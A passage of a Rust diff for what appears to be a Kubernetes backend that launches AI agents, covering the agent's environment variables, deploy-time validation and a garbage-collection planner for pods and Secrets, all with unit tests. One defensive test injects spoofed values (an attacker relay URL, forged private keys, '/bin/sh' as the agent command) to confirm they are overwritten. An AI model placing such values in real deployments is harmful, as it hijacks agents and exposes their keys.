+        return Err("deploy refused: relay_url is empty — the agent would have \
+                    no relay to connect to"
+            .to_string());
+    };
+    env.insert("BUZZ_RELAY_URL".into(), relay_url.to_string());
+    env.insert("BUZZ_PRIVATE_KEY".into(), agent.private_key_nsec.clone());
+    // The git credential/signing helpers read NOSTR_PRIVATE_KEY.
+    env.insert("NOSTR_PRIVATE_KEY".into(), agent.private_key_nsec.clone());
+
+    // Owner: at least one of these must resolve, or the harness cannot match
+    // `!shutdown` and §Stop describes a mechanism that does not work.
+    let auth_tag = agent.auth_tag.as_deref().and_then(identity_component);
+    let owner = launch.owner_pubkey.as_deref().and_then(identity_component);
+    match (auth_tag, owner) {
+        (None, None) => {
+            return Err("deploy refused: neither auth_tag nor launch.owner_pubkey \
+                        resolved — without an owner the agent cannot honor \
+                        !shutdown"
+                .to_string())
+        }
+        (tag, own) => {
+            if let Some(t) = tag {
+                env.insert("BUZZ_AUTH_TAG".into(), t.to_string());
+            }
+            if let Some(o) = own {
+                env.insert("BUZZ_ACP_AGENT_OWNER".into(), o.to_string());
+            }
+        }
+    }
+
+    // The harness and MCP binaries are resolved against the *image's* PATH.
+    // A host path forwarded from the desktop is guaranteed absent in the
+    // container (§Launch data, host-resolved values).
+    if let Some(command) = launch.command.as_deref().filter(|c| !c.is_empty()) {
+        env.insert("BUZZ_ACP_AGENT_COMMAND".into(), command.to_string());
+    }
+    if !launch.args.is_empty() {
+        // Comma-joined because that is what the harness's CLI parser decodes,
+        // and what the desktop's local spawn does. An argument containing a
+        // comma is unrepresentable in both paths; inventing an escaping
+        // scheme here would produce args the harness cannot decode.
+        env.insert("BUZZ_ACP_AGENT_ARGS".into(), launch.args.join(","));
+    }
+    env.insert("BUZZ_ACP_MCP_COMMAND".into(), "buzz-dev-mcp".into());
+
+    if let Some(respond_to) = agent.respond_to.as_deref().filter(|s| !s.is_empty()) {
+        validate_respond_to_gate(respond_to, agent.respond_to_allowlist.as_deref())?;
+        env.insert("BUZZ_ACP_RESPOND_TO".into(), respond_to.to_string());
+    }
+    if let Some(list) = agent
+        .respond_to_allowlist
+        .as_ref()
+        .filter(|l| !l.is_empty())
+    {
+        env.insert("BUZZ_ACP_RESPOND_TO_ALLOWLIST".into(), list.join(","));
+    }
+
+    if let Some(secs) = auth.inactivity_seconds {
+        env.insert("BUZZ_ACP_EXIT_AFTER_INACTIVITY".into(), secs.to_string());
+    }
+    // The generation token doubles as the lifecycle-frame correlator, so pod
+    // logs and observer frames share one identity (§K8s Secrets).
+    env.insert(START_NONCE_KEY.into(), auth.generation.to_string());
+
+    let total: usize = env.values().map(String::len).sum();
+    if total > MAX_SECRET_BYTES {
+        return Err(format!(
+            "agent environment is {total} bytes; Kubernetes caps Secret data \
+             at {MAX_SECRET_BYTES}"
+        ));
+    }
+
+    Ok(env)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn payload_json(extra_agent: serde_json::Value) -> AgentPayload {
+        let mut agent = serde_json::json!({
+            "name": "a",
+            "relay_url": "wss://relay.example",
+            "private_key_nsec": "nsec1example",
+            "auth_tag": "tag-1",
+        });
+        let (serde_json::Value::Object(base), serde_json::Value::Object(extra)) =
+            (&mut agent, extra_agent)
+        else {
+            panic!("expected objects")
+        };
+        base.extend(extra);
+        serde_json::from_value(agent).unwrap()
+    }
+
+    fn build(agent: &AgentPayload) -> Result<BTreeMap<String, String>, String> {
+        build_env(
+            agent,
+            AuthoritativeInputs {
+                generation: "gen0001",
+                inactivity_seconds: Some(7200),
+            },
+        )
+    }
+
+    #[test]
+    fn identity_comes_from_top_level_fields() {
+        let env = build(&payload_json(serde_json::json!({}))).unwrap();
+        assert_eq!(env["BUZZ_RELAY_URL"], "wss://relay.example");
+        assert_eq!(env["BUZZ_PRIVATE_KEY"], "nsec1example");
+        assert_eq!(env["NOSTR_PRIVATE_KEY"], "nsec1example");
+        assert_eq!(env["BUZZ_AUTH_TAG"], "tag-1");
+    }
+
+    /// Wren's amendment, and the spec's later-wins rule: a lower tier that
+    /// spoofs an authoritative key is *overwritten*, not refused. Refusing
+    /// would diverge from the local spawn, where the same env is written
+    /// before the authoritative layer and simply loses.
+    #[test]
+    fn lower_tiers_cannot_spoof_authoritative_values() {
+        let agent = payload_json(serde_json::json!({
+            "launch": {
+                "command": "goose",
+                "policy_env": {
+                    "BUZZ_PRIVATE_KEY": "nsec1attacker",
+                    "BUZZ_MANAGED_AGENT_START_NONCE": "forged",
+                },
+                "env": {
+                    "BUZZ_RELAY_URL": "wss://attacker.example",
+                    "NOSTR_PRIVATE_KEY": "nsec1attacker",
+                    "BUZZ_AUTH_TAG": "forged-tag",
+                    "BUZZ_ACP_AGENT_OWNER": "cafe",
+                    "BUZZ_ACP_AGENT_COMMAND": "/bin/sh",
+                    "BUZZ_ACP_MCP_COMMAND": "/bin/sh",
+                    "BUZZ_ACP_EXIT_AFTER_INACTIVITY": "0",
+                },
+                "owner_pubkey": "beef"
+            }
+        }));
+        let env = build(&agent).unwrap();
+        assert_eq!(env["BUZZ_PRIVATE_KEY"], "nsec1example");
+        assert_eq!(env["NOSTR_PRIVATE_KEY"], "nsec1example");
+        assert_eq!(env["BUZZ_RELAY_URL"], "wss://relay.example");
+        assert_eq!(env["BUZZ_AUTH_TAG"], "tag-1");
+        assert_eq!(env["BUZZ_ACP_AGENT_OWNER"], "beef");
+        assert_eq!(env["BUZZ_ACP_AGENT_COMMAND"], "goose");
+        assert_eq!(env["BUZZ_ACP_MCP_COMMAND"], "buzz-dev-mcp");
+        assert_eq!(env["BUZZ_ACP_EXIT_AFTER_INACTIVITY"], "7200");
+        assert_eq!(env["BUZZ_MANAGED_AGENT_START_NONCE"], "gen0001");
+    }
+
+    /// Tier 1 is *overridable* — user env beats policy defaults, matching the
+    /// local spawn, where the user layer is written after them. Getting this
+    /// backwards would make remote agents ignore overrides local agents honor.
+    #[test]
+    fn user_env_overrides_policy_defaults() {
+        let agent = payload_json(serde_json::json!({
+            "launch": {
+                "policy_env": {"GOOSE_MODE": "auto", "BUZZ_ACP_MODEL": "sonnet"},
+                "env": {"GOOSE_MODE": "chat"},
+                "owner_pubkey": "beef"
+            }
+        }));
+        let env = build(&agent).unwrap();
+        assert_eq!(env["GOOSE_MODE"], "chat");
+        assert_eq!(env["BUZZ_ACP_MODEL"], "sonnet");
+    }
+
+    /// `launch.env` already contains the merged user env, so re-merging the
+    /// legacy field would undo a layering the desktop already resolved.
+    #[test]
+    fn legacy_env_vars_are_not_remerged_when_launch_present() {
+        let agent = payload_json(serde_json::json!({
+            "env_vars": {"STALE": "yes", "SHARED": "legacy"},
+            "launch": {"env": {"SHARED": "resolved"}, "owner_pubkey": "beef"}
+        }));
+        let env = build(&agent).unwrap();
+        assert_eq!(env["SHARED"], "resolved");
+        assert!(!env.contains_key("STALE"), "legacy env_vars re-merged");
+    }
+
+    /// ...but a desktop predating the `launch` block has nothing else to
+    /// offer, so the legacy field is the truth in exactly that case.
+    #[test]
+    fn legacy_env_vars_used_when_launch_absent() {
+        let agent = payload_json(serde_json::json!({"env_vars": {"API": "v"}}));
+        let env = build(&agent).unwrap();
+        assert_eq!(env["API"], "v");
+    }
+
+    #[test]
+    fn refuses_when_no_owner_resolves() {
+        let agent = payload_json(serde_json::json!({"auth_tag": null}));
+        let err = build(&agent).unwrap_err();
+        assert!(err.contains("!shutdown"), "unhelpful error: {err}");
+    }
+
+    /// An empty string is not an owner. Without this the refusal is
+    /// bypassable by a blank field and the pod launches unable to be stopped.
+    #[test]
+    fn empty_owner_fields_count_as_absent() {
+        for blank in ["", "   "] {
+            let agent = payload_json(serde_json::json!({
+                "auth_tag": blank,
+                "launch": {"owner_pubkey": blank}
+            }));
+            assert!(
+                build(&agent).is_err(),
+                "whitespace resolved as an owner: {blank:?}"
+            );
+        }
+    }
+
+    /// The other half of every identity guard: what is *stored*. A validator
+    /// that trims and a writer that doesn't disagree about the value, and the
+    /// padding reaches the harness inside the Secret. Assert on the stored
+    /// string — asserting only that the deploy was accepted passes either way.
+    #[test]
+    fn identity_components_are_stored_trimmed() {
+        let agent = payload_json(serde_json::json!({
+            "relay_url": "  wss://relay.example  ",
+            "auth_tag": "  tag-1  ",
+            "launch": {"owner_pubkey": "  beefcafe  "}
+        }));
+        let env = build(&agent).unwrap();
+        assert_eq!(env["BUZZ_RELAY_URL"], "wss://relay.example");
+        assert_eq!(env["BUZZ_AUTH_TAG"], "tag-1");
+        assert_eq!(env["BUZZ_ACP_AGENT_OWNER"], "beefcafe");
+    }
+
+    /// L1 item 1's third identity component. The nsec arm is enforced in
+    /// `naming.rs` and the owner arm above; without this one an agent
+    /// deploys with nothing to connect to — a pod that starts, fails at the
+    /// relay, and reads as a network fault rather than a refused launch.
+    #[test]
+    fn refuses_empty_relay_url() {
+        for blank in ["", "   "] {
+            let agent = payload_json(serde_json::json!({"relay_url": blank}));
+            let err = build(&agent).unwrap_err();
+            assert!(err.contains("relay_url"), "unhelpful error: {err}");
+        }
+    }
+
+    #[test]
+    fn owner_pubkey_alone_is_sufficient() {
+        let agent = payload_json(serde_json::json!({
+            "auth_tag": null,
+            "launch": {"owner_pubkey": "beefcafe"}
+        }));
+        let env = build(&agent).unwrap();
+        assert_eq!(env["BUZZ_ACP_AGENT_OWNER"], "beefcafe");
+        assert!(!env.contains_key("BUZZ_AUTH_TAG"));
+    }
+
+    #[test]
+    fn refuses_presence_suppression() {
+        let agent = payload_json(serde_json::json!({
+            "launch": {"env": {"BUZZ_ACP_NO_PRESENCE": "1"}, "owner_pubkey": "beef"}
+        }));
+        let err = build(&agent).unwrap_err();
+        assert!(err.contains("BUZZ_ACP_NO_PRESENCE"), "got: {err}");
+    }
+
+    /// `foo.bar` is a legal Secret key but not a legal env name: pre-1.30
+    /// kubelets drop it, 1.30+ inject it. Refuse rather than behave
+    /// differently depending on the cluster.
+    #[test]
+    fn refuses_non_posix_env_keys() {
+        for bad in ["foo.bar", "foo-bar", "1LEADING", "", "has space"] {
+            let agent = payload_json(serde_json::json!({
+                "launch": {"env": {bad: "v"}, "owner_pubkey": "beef"}
+            }));
+            assert!(build(&agent).is_err(), "accepted non-POSIX key {bad:?}");
+        }
+    }
+
+    #[test]
+    fn args_are_comma_joined_and_omitted_when_empty() {
+        let agent = payload_json(serde_json::json!({
+            "launch": {"command": "goose", "args": ["run", "--no-session"], "owner_pubkey": "b"}
+        }));
+        let env = build(&agent).unwrap();
+        assert_eq!(env["BUZZ_ACP_AGENT_ARGS"], "run,--no-session");
+
+        let agent = payload_json(serde_json::json!({
+            "launch": {"command": "goose", "args": [], "owner_pubkey": "b"}
+        }));
+        assert!(!build(&agent).unwrap().contains_key("BUZZ_ACP_AGENT_ARGS"));
+    }
+
+    /// The top-level `model`/`provider` fields are display inputs; their
+    /// environment consequence is per-runtime and arrives already resolved
+    /// inside `launch`. A provider-side mapping is wrong for three of the
+    /// four built-in runtimes.
+    #[test]
+    fn provider_never_maps_model_or_provider_itself() {
+        let agent = payload_json(serde_json::json!({
+            "model": "claude-opus", "provider": "anthropic",
+            "launch": {"owner_pubkey": "beef"}
+        }));
+        let env = build(&agent).unwrap();
+        for key in [
+            "BUZZ_AGENT_PROVIDER",
+            "BUZZ_AGENT_MODEL",
+            "GOOSE_PROVIDER",
+            "GOOSE_MODEL",
+        ] {
+            assert!(!env.contains_key(key), "provider mapped {key} itself");
+        }
+    }
+
+    /// `turn_timeout_seconds` is deprecated and ignored upstream; the local
+    /// spawn does not emit it either.
+    #[test]
+    fn turn_timeout_is_not_mapped() {
+        let agent = payload_json(serde_json::json!({
+            "turn_timeout_seconds": 30, "launch": {"owner_pubkey": "b"}
+        }));
+        let env = build(&agent).unwrap();
+        assert!(!env.keys().any(|k| k.contains("TURN_TIMEOUT")));
+    }
+
+    #[test]
+    fn inactivity_omitted_when_unset() {
+        let agent = payload_json(serde_json::json!({"launch": {"owner_pubkey": "b"}}));
+        let env = build_env(
+            &agent,
+            AuthoritativeInputs {
+                generation: "g",
+                inactivity_seconds: None,
+            },
+        )
+        .unwrap();
+        assert!(!env.contains_key("BUZZ_ACP_EXIT_AFTER_INACTIVITY"));
+    }
+
+    /// Structural guard over the whole authoritative list at once: whatever
+    /// the lower tiers contain, no authoritative key holds a lower-tier value
+    /// — including the conditionally-written ones the authoritative tier has
+    /// nothing to say about, which must be **absent** rather than spoofed.
+    /// This test caught exactly that: `BUZZ_ACP_AGENT_ARGS` is only written
+    /// when `launch.args` is non-empty, so plain later-wins overwrite left the
+    /// spoofed value in place.
+    #[test]
+    fn no_authoritative_key_retains_a_lower_tier_value() {
+        let spoofed: serde_json::Map<String, serde_json::Value> = AUTHORITATIVE_KEYS
+            .iter()
+            .map(|k| ((*k).to_string(), serde_json::json!("SPOOFED")))
+            .collect();
+        // Split across both lower tiers: policy_env and env are separate
+        // insertion points, and a fix that only cleared one would pass a
+        // single-tier test.
+        let agent = payload_json(serde_json::json!({
+            "launch": {
+                "command": "goose",
+                "policy_env": spoofed.clone(),
+                "env": spoofed,
+                "owner_pubkey": "beef"
+            }
+        }));
+        let env = build(&agent).unwrap();
+        for key in AUTHORITATIVE_KEYS {
+            assert_ne!(
+                env.get(*key).map(String::as_str),
+                Some("SPOOFED"),
+                "{key} kept its lower-tier value"
+            );
+        }
+        // The keys the authoritative tier had no value for are gone, not
+        // merely different.
+        for absent in [
+            "BUZZ_ACP_AGENT_ARGS",
+            "BUZZ_ACP_RESPOND_TO",
+            "BUZZ_ACP_RESPOND_TO_ALLOWLIST",
+        ] {
+            assert!(!env.contains_key(absent), "{absent} survived the clear");
+        }
+    }
+
+    /// A 64-hex pubkey, the only allowlist entry shape the harness accepts.
+    fn pubkey(fill: char) -> String {
+        std::iter::repeat_n(fill, 64).collect()
+    }
+
+    /// The gate the harness refuses first (`config.rs:996-1004`). Refusing it
+    /// here is the difference between one error message and an unbounded
+    /// fail-replace loop that leaves a Secret per attempt.
+    #[test]
+    fn allowlist_mode_with_an_empty_list_is_refused() {
+        for empty in [serde_json::json!([]), serde_json::Value::Null] {
+            let agent = payload_json(serde_json::json!({
+                "respond_to": "allowlist",
+                "respond_to_allowlist": empty,
+            }));
+            let err = build(&agent).unwrap_err();
+            assert!(
+                err.contains("the allowlist is empty"),
+                "unexpected error: {err}"
+            );
+        }
+    }
+
+    /// `config.rs:629-641` — each entry must be exactly 64 hex characters.
+    /// The rejects are the distinct ways to miss that: too short, right length
+    /// but not hex, empty, and one character short of valid.
+    #[test]
+    fn an_allowlist_entry_that_is_not_64_hex_is_refused() {
+        for bad in ["abc1234", &"z".repeat(64), "", &pubkey('a')[..63]] {
+            let agent = payload_json(serde_json::json!({
+                "respond_to": "allowlist",
+                "respond_to_allowlist": [pubkey('a'), bad],
+            }));
+            let err = build(&agent).unwrap_err();
+            assert!(
+                err.contains("must be exactly 64 hex characters"),
+                "{bad:?} was accepted; error was: {err}"
+            );
+        }
+    }
+
+    /// The positive control: the guard refuses bad gates, not every gate.
+    /// Without this, a validator that refused unconditionally would pass both
+    /// tests above.
+    #[test]
+    fn a_valid_allowlist_gate_is_accepted_and_comma_joined() {
+        let agent = payload_json(serde_json::json!({
+            "respond_to": "allowlist",
+            "respond_to_allowlist": [pubkey('a'), pubkey('b')],
+        }));
+        let env = build(&agent).unwrap();
+        assert_eq!(env["BUZZ_ACP_RESPOND_TO"], "allowlist");
+        assert_eq!(
+            env["BUZZ_ACP_RESPOND_TO_ALLOWLIST"],
+            format!("{},{}", pubkey('a'), pubkey('b'))
+        );
+    }
+
+    /// The harness validates the allowlist **only** in allowlist mode and
+    /// merely warns otherwise (`config.rs:1005-1010`). A stricter provider
+    /// would refuse a deploy whose identical local spawn succeeds, so this
+    /// pins the asymmetry rather than leaving it to look like an oversight.
+    #[test]
+    fn a_junk_allowlist_is_tolerated_outside_allowlist_mode() {
+        for mode in ["owner-only", "anyone"] {
+            let agent = payload_json(serde_json::json!({
+                "respond_to": mode,
+                "respond_to_allowlist": ["not-a-pubkey"],
+            }));
+            let env = build(&agent)
+                .unwrap_or_else(|e| panic!("{mode} with a stale list must deploy: {e}"));
+            assert_eq!(env["BUZZ_ACP_RESPOND_TO"], mode);
+        }
+    }
+
+    /// `respond_to` is an opaque `String` on the wire but a `clap::ValueEnum`
+    /// at the harness, so an unrecognized mode dies at `rc=2` — before config
+    /// parsing runs at all, earlier than either refusal above. Measured
+    /// against the built binary: `invalid value 'npub1abc' for '--respond-to'`.
+    /// This is the shape our own fixture carried until it was corrected.
+    #[test]
+    fn a_mode_the_harness_cannot_parse_is_refused() {
+        for bad in ["npub1abc", "OWNER-ONLY", "owner_only", "allowlistt", "x"] {
+            let agent = payload_json(serde_json::json!({ "respond_to": bad }));
+            let err = build(&agent).unwrap_err();
+            assert!(
+                err.contains("is not a mode the harness accepts"),
+                "{bad:?} was accepted; error was: {err}"
+            );
+        }
+    }
+
+    /// `clap` does not trim its value-enum input, so a padded mode is `rc=2`
+    /// even though the same string trimmed is valid. Measured: `invalid value
+    /// ' allowlist ' for '--respond-to'`. Trimming here would accept a deploy
+    /// the harness refuses — the exact direction this guard exists to prevent.
+    #[test]
+    fn a_padded_mode_is_refused_because_clap_does_not_trim() {
+        for padded in [" allowlist ", "allowlist ", " owner-only", "\tnobody"] {
+            let agent = payload_json(serde_json::json!({
+                "respond_to": padded,
+                "respond_to_allowlist": [pubkey('a')],
+            }));
+            let err = build(&agent).unwrap_err();
+            assert!(
+                err.contains("is not a mode the harness accepts"),
+                "{padded:?} was accepted; error was: {err}"
+            );
+        }
+    }
+
+    /// Positive control for the mode check, and the reason it validates the
+    /// harness's four rather than the desktop's three: `nobody` is rejected by
+    /// `parse_wire` on purpose (`managed_agents/types.rs:871-880`) but starts
+    /// fine at the harness. A guard mirroring the desktop enum would refuse a
+    /// working launch from a non-desktop caller — the callers this guard is
+    /// for. Without this test, refusing `nobody` would pass everything above.
+    #[test]
+    fn every_mode_the_harness_accepts_is_deployable() {
+        for mode in ["owner-only", "allowlist", "anyone", "nobody"] {
+            let agent = payload_json(serde_json::json!({
+                "respond_to": mode,
+                "respond_to_allowlist": [pubkey('a')],
+            }));
+            let env = build(&agent)
+                .unwrap_or_else(|e| panic!("{mode} is valid at the harness but was refused: {e}"));
+            assert_eq!(env["BUZZ_ACP_RESPOND_TO"], mode);
+        }
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/gc.rs b/crates/buzz-backend-kubernetes/src/gc.rs
new file mode 100644
index 0000000000..2e18825aa4
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/gc.rs
@@ -0,0 +1,368 @@
+//! Preflight garbage collection (spec §K8s GC, `docs/remote-agents.md:1282-1335`).
+//!
+//! GC runs on every deploy, after identity derivation and before the state
+//! transition. It deletes terminated pods (and their referenced Secrets) and
+//! age-eligible orphan Secrets — every one of which must pass the full-pubkey
+//! annotation check *and* carry the management marker. An unmarked object is
+//! never GC'd regardless of its labels.
+//!
+//! The decision layer here is pure. The effectful caller supplies the observed
+//! objects and the apiserver's clock; this module decides what may be deleted.
+
+use crate::naming::AgentIdentity;
+use crate::observe::{referenced_secret, secret_is_ours};
+use chrono::{DateTime, Utc};
+use k8s_openapi::api::core::v1::{Pod, Secret};
+
+/// The deploy operation deadline (spec §Deploy: `timeout: 600s`).
+pub const OPERATION_DEADLINE_SECS: i64 = 600;
+
+/// An unreferenced Secret is GC-eligible only once it is older than **twice**
+/// the deploy deadline. Rationale: Secret-create → pod-create is not atomic
+/// against an independent GC pass, so without the gate a concurrent attempt's
+/// preflight GC can delete a Secret whose pod has not been created yet and
+/// strand that deploy. The age bound makes "unreferenced" mean "provably
+/// abandoned" — any attempt that could still reference it has exceeded its own
+/// deadline (`:1301-1319`).
+pub const ORPHAN_SECRET_MIN_AGE_SECS: i64 = 2 * OPERATION_DEADLINE_SECS;
+
+/// What a GC pass decided to delete. Names only: the caller re-reads each
+/// object's own fence at delete time.
+#[derive(Debug, Default, PartialEq, Eq)]
+pub struct GcPlan {
+    /// Terminated, verified, marker-bearing pods.
+    pub pods: Vec<String>,
+    /// Age-eligible, verified, marker-bearing orphan Secrets.
+    pub secrets: Vec<String>,
+}
+
+/// Plan a GC pass.
+///
+/// `now` is the apiserver's clock — the HTTP `Date` header from the very list
+/// call that produced `secrets`. `None` means the header was absent or
+/// unparseable, in which case **orphan-Secret GC is skipped entirely** rather
+/// than falling back to local time: this provider runs on a user's desktop,
+/// and a local clock fast by more than the margin does not race — it
+/// deterministically computes every in-flight Secret as expired, on every
+/// pass, reopening exactly the interleaving the gate exists to close
+/// (`:1321-1335`). A deferred cleanup is free; a wrong deletion is not.
+///
+/// Terminated-pod GC does not use the clock and is unaffected.
+pub fn plan(
+    identity: &AgentIdentity,
+    pods: &[Pod],
+    secrets: &[Secret],
+    terminated: impl Fn(&Pod) -> bool,
+    now: Option<DateTime<Utc>>,
+) -> GcPlan {
+    // Only pods that pass the full fence participate — in either direction.
+    // An unverified pod is neither deleted nor allowed to protect a Secret:
+    // it cannot be ours, so its `envFrom` cannot reference our generation.
+    let ours: Vec<&Pod> = pods
+        .iter()
+        .filter(|p| {
+            crate::observe::verify(p, identity, crate::classify::Startup::Started).is_some()
+        })
+        .collect();
+
+    let doomed_pods: Vec<&&Pod> = ours.iter().filter(|p| terminated(p)).collect();
+
+    // A Secret referenced by ANY existing pod is protected — deliberately
+    // including not-yet-started pods, whose `envFrom` is exactly as
+    // load-bearing as a running pod's (`:1262-1264`). Pods being GC'd in this
+    // same pass are excluded, so their Secrets go with them.
+    let doomed_names: Vec<&str> = doomed_pods
+        .iter()
+        .filter_map(|p| p.metadata.name.as_deref())
+        .collect();
+    let protected: Vec<String> = ours
+        .iter()
+        .filter(|p| !doomed_names.contains(&p.metadata.name.as_deref().unwrap_or_default()))
+        .filter_map(|p| referenced_secret(p))
+        .collect();
+
+    let mut plan = GcPlan {
+        pods: doomed_names.iter().map(|n| n.to_string()).collect(),
+        secrets: doomed_pods
+            .iter()
+            .filter_map(|p| referenced_secret(p))
+            .collect(),
+    };
+
+    // Orphan sweep: only with a server clock.
+    if let Some(now) = now {
+        for secret in secrets {
+            if !secret_is_ours(secret, identity) {
+                continue;
+            }
+            let Some(name) = secret.metadata.name.as_deref() else {
+                continue;
+            };
+            if protected.contains(&name.to_string()) || plan.secrets.iter().any(|s| s == name) {
+                continue;
+            }
+            let Some(created) = secret.metadata.creation_timestamp.as_ref() else {
+                // No server-assigned timestamp means no age proof. Skip.
+                continue;
+            };
+            if (now - created.0).num_seconds() >= ORPHAN_SECRET_MIN_AGE_SECS {
+                plan.secrets.push(name.to_string());
+            }
+        }
+    }
+
+    plan
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::naming::{ANNOTATION_PUBKEY_FULL, LABEL_MANAGED_BY};
+    use k8s_openapi::api::core::v1::{Container, EnvFromSource, PodSpec, SecretEnvSource};
+    use k8s_openapi::apimachinery::pkg::apis::meta::v1::{ObjectMeta, Time};
+    use std::collections::BTreeMap;
+
+    fn identity() -> AgentIdentity {
+        use nostr::nips::nip19::ToBech32;
+        let keys = nostr::Keys::generate();
+        AgentIdentity::from_nsec(&keys.secret_key().to_bech32().unwrap()).unwrap()
+    }
+
+    fn pod_named(id: &AgentIdentity, name: &str, secret: Option<&str>) -> Pod {
+        Pod {
+            metadata: ObjectMeta {
+                name: Some(name.into()),
+                uid: Some(format!("uid-{name}")),
+                resource_version: Some("1".into()),
+                labels: Some(id.labels()),
+                annotations: Some(
+                    [(
+                        ANNOTATION_PUBKEY_FULL.to_string(),
+                        id.pubkey_hex().to_string(),
+                    )]
+                    .into_iter()
+                    .collect::<BTreeMap<_, _>>(),
+                ),
+                ..Default::default()
+            },
+            spec: secret.map(|s| PodSpec {
+                containers: vec![Container {
+                    name: "agent".into(),
+                    env_from: Some(vec![EnvFromSource {
+                        secret_ref: Some(SecretEnvSource {
+                            name: s.into(),
+                            optional: Some(false),
+                        }),
+                        ..Default::default()
+                    }]),
+                    ..Default::default()
+                }],
+                ..Default::default()
+            }),
+            ..Default::default()
+        }
+    }
+
+    fn secret_named(id: &AgentIdentity, name: &str, age_secs: i64, now: DateTime<Utc>) -> Secret {
+        Secret {
+            metadata: ObjectMeta {
+                name: Some(name.into()),
+                labels: Some(id.labels()),
+                annotations: Some(
+                    [(
+                        ANNOTATION_PUBKEY_FULL.to_string(),
+                        id.pubkey_hex().to_string(),
+                    )]
+                    .into_iter()
+                    .collect::<BTreeMap<_, _>>(),
+                ),
+                creation_timestamp: Some(Time(now - chrono::Duration::seconds(age_secs))),
+                ..Default::default()
+            },
+            ..Default::default()
+        }
+    }
+
+    fn never(_: &Pod) -> bool {
+        false
+    }
+    fn always(_: &Pod) -> bool {
+        true
+    }
+
+    #[test]
+    fn terminated_pods_and_their_secrets_are_collected_together() {
+        let id = identity();
+        let now = Utc::now();
+        let pod = pod_named(&id, "buzz-agent-dead", Some("buzz-agent-dead-gen1"));
+        let plan = plan(&id, &[pod], &[], always, Some(now));
+        assert_eq!(plan.pods, ["buzz-agent-dead"]);
+        assert_eq!(plan.secrets, ["buzz-agent-dead-gen1"]);
+    }
+
+    #[test]
+    fn live_pods_are_never_collected() {
+        let id = identity();
+        let pod = pod_named(&id, "buzz-agent-live", Some("buzz-agent-live-gen1"));
+        let plan = plan(&id, &[pod], &[], never, Some(Utc::now()));
+        assert_eq!(plan, GcPlan::default());
+    }
+
+    /// The auto-repair fence applies to GC identically: an object that lacks
+    /// the marker, or carries a different pubkey, is never touched — however
+    /// well its labels match.
+    #[test]
+    fn unmarked_and_mismatched_objects_are_never_collected() {
+        let id = identity();
+        let other = identity();
+        let now = Utc::now();
+
+        let mut unmarked = pod_named(&id, "look-alike", Some("look-alike-gen1"));
+        let mut labels = id.labels();
+        labels.remove(LABEL_MANAGED_BY);
+        unmarked.metadata.labels = Some(labels);
+
+        let mut foreign = pod_named(&id, "someone-elses", Some("someone-elses-gen1"));
+        foreign.metadata.annotations = Some(
+            [(
+                ANNOTATION_PUBKEY_FULL.to_string(),
+                other.pubkey_hex().to_string(),
+            )]
+            .into_iter()
+            .collect(),
+        );
+
+        let mut unmarked_secret = secret_named(&id, "orphan-unmarked", 100_000, now);
+        unmarked_secret.metadata.labels = Some(BTreeMap::new());
+        let mut foreign_secret = secret_named(&id, "orphan-foreign", 100_000, now);
+        foreign_secret.metadata.annotations = Some(
+            [(
+                ANNOTATION_PUBKEY_FULL.to_string(),
+                other.pubkey_hex().to_string(),
+            )]
+            .into_iter()
+            .collect(),
+        );
+
+        let plan = plan(
+            &id,
+            &[unmarked, foreign],
+            &[unmarked_secret, foreign_secret],
+            always,
+            Some(now),
+        );
+        assert_eq!(
+            plan,
+            GcPlan::default(),
+            "GC touched an object it does not own"
+        );
+    }
+
+    /// The interleaving the age gate exists to close: attempt A creates its
+    /// Secret; concurrent attempt B's preflight GC runs before A creates its
+    /// pod. Without the gate B deletes A's Secret and strands A.
+    #[test]
+    fn young_unreferenced_secrets_are_protected() {
+        let id = identity();
+        let now = Utc::now();
+        let fresh = secret_named(&id, "buzz-agent-x-gen-inflight", 5, now);
+        assert_eq!(
+            plan(&id, &[], &[fresh], never, Some(now)),
+            GcPlan::default()
+        );
+    }
+
+    /// Past twice the deadline, any attempt that could still reference the
+    /// Secret has exceeded its own deadline — so it is provably abandoned.
+    #[test]
+    fn secrets_older_than_twice_the_deadline_are_collected() {
+        let id = identity();
+        let now = Utc::now();
+        let old = secret_named(
+            &id,
+            "buzz-agent-x-gen-abandoned",
+            ORPHAN_SECRET_MIN_AGE_SECS + 1,
+            now,
+        );
+        let plan = plan(&id, &[], &[old], never, Some(now));
+        assert_eq!(plan.secrets, ["buzz-agent-x-gen-abandoned"]);
+    }
+
+    /// The boundary itself, both sides. `>= 1200s` is eligible.
+    #[test]
+    fn age_gate_boundary_is_exact() {
+        let id = identity();
+        let now = Utc::now();
+        let just_under = secret_named(&id, "under", ORPHAN_SECRET_MIN_AGE_SECS - 1, now);
+        let exactly = secret_named(&id, "exact", ORPHAN_SECRET_MIN_AGE_SECS, now);
+        assert!(plan(&id, &[], &[just_under], never, Some(now))
+            .secrets
+            .is_empty());
+        assert_eq!(
+            plan(&id, &[], &[exactly], never, Some(now)).secrets,
+            ["exact"]
+        );
+    }
+
+    /// The same-clock rule. No apiserver `Date` header → skip the orphan
+    /// sweep entirely. A local clock fast by more than the margin would
+    /// silently delete every in-flight Secret on every pass.
+    #[test]
+    fn without_a_server_clock_the_orphan_sweep_is_skipped() {
+        let id = identity();
+        let now = Utc::now();
+        let ancient = secret_named(&id, "buzz-agent-x-gen-ancient", 10_000_000, now);
+        let plan = plan(&id, &[], &[ancient], never, None);
+        assert!(
+            plan.secrets.is_empty(),
+            "orphan swept without a server clock — a fast local clock would delete live Secrets"
+        );
+    }
+
+    /// ...but terminated-pod GC does not consult the clock, so it still runs.
+    #[test]
+    fn terminated_pod_gc_runs_without_a_server_clock() {
+        let id = identity();
+        let pod = pod_named(&id, "buzz-agent-dead", Some("buzz-agent-dead-gen1"));
+        let plan = plan(&id, &[pod], &[], always, None);
+        assert_eq!(plan.pods, ["buzz-agent-dead"]);
+        assert_eq!(plan.secrets, ["buzz-agent-dead-gen1"]);
+    }
+
+    /// "Existing" includes not-yet-started pods: a Secret referenced by a pod
+    /// still pulling its image must not be swept, however old it is.
+    #[test]
+    fn secrets_referenced_by_a_pending_pod_are_protected() {
+        let id = identity();
+        let now = Utc::now();
+        let pending = pod_named(&id, "buzz-agent-pending", Some("buzz-agent-pending-gen1"));
+        let old = secret_named(&id, "buzz-agent-pending-gen1", 10_000_000, now);
+        let plan = plan(&id, &[pending], &[old], never, Some(now));
+        assert!(plan.secrets.is_empty(), "swept a referenced Secret");
+    }
+
